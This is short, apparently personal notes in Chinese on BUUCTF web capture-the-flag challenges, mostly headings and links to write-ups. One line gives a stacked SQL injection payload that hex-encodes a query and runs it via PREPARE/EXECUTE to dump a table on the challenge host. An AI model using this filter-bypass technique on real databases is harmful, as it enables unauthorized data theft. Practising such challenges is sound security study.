buuctf web

1.warmup
查看源码

2.随便注
堆叠注入
爆数据库

爆表，有两个表


构造playload：http://6d5326a4-99c2-423f-ab6f-46b44dc1853d.node3.buuoj.cn/?inject=1nject=1%27;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare%20execsql%20from%20@a;execute%20execsql;#

https://blog.csdn.net/weixin_37839711/article/details/81562550
https://www.xmsec.cc/qwbctf-2019/

3.easysql

https://www.cnblogs.com/anweilx/p/12353294.html

4.easysql 极客大挑战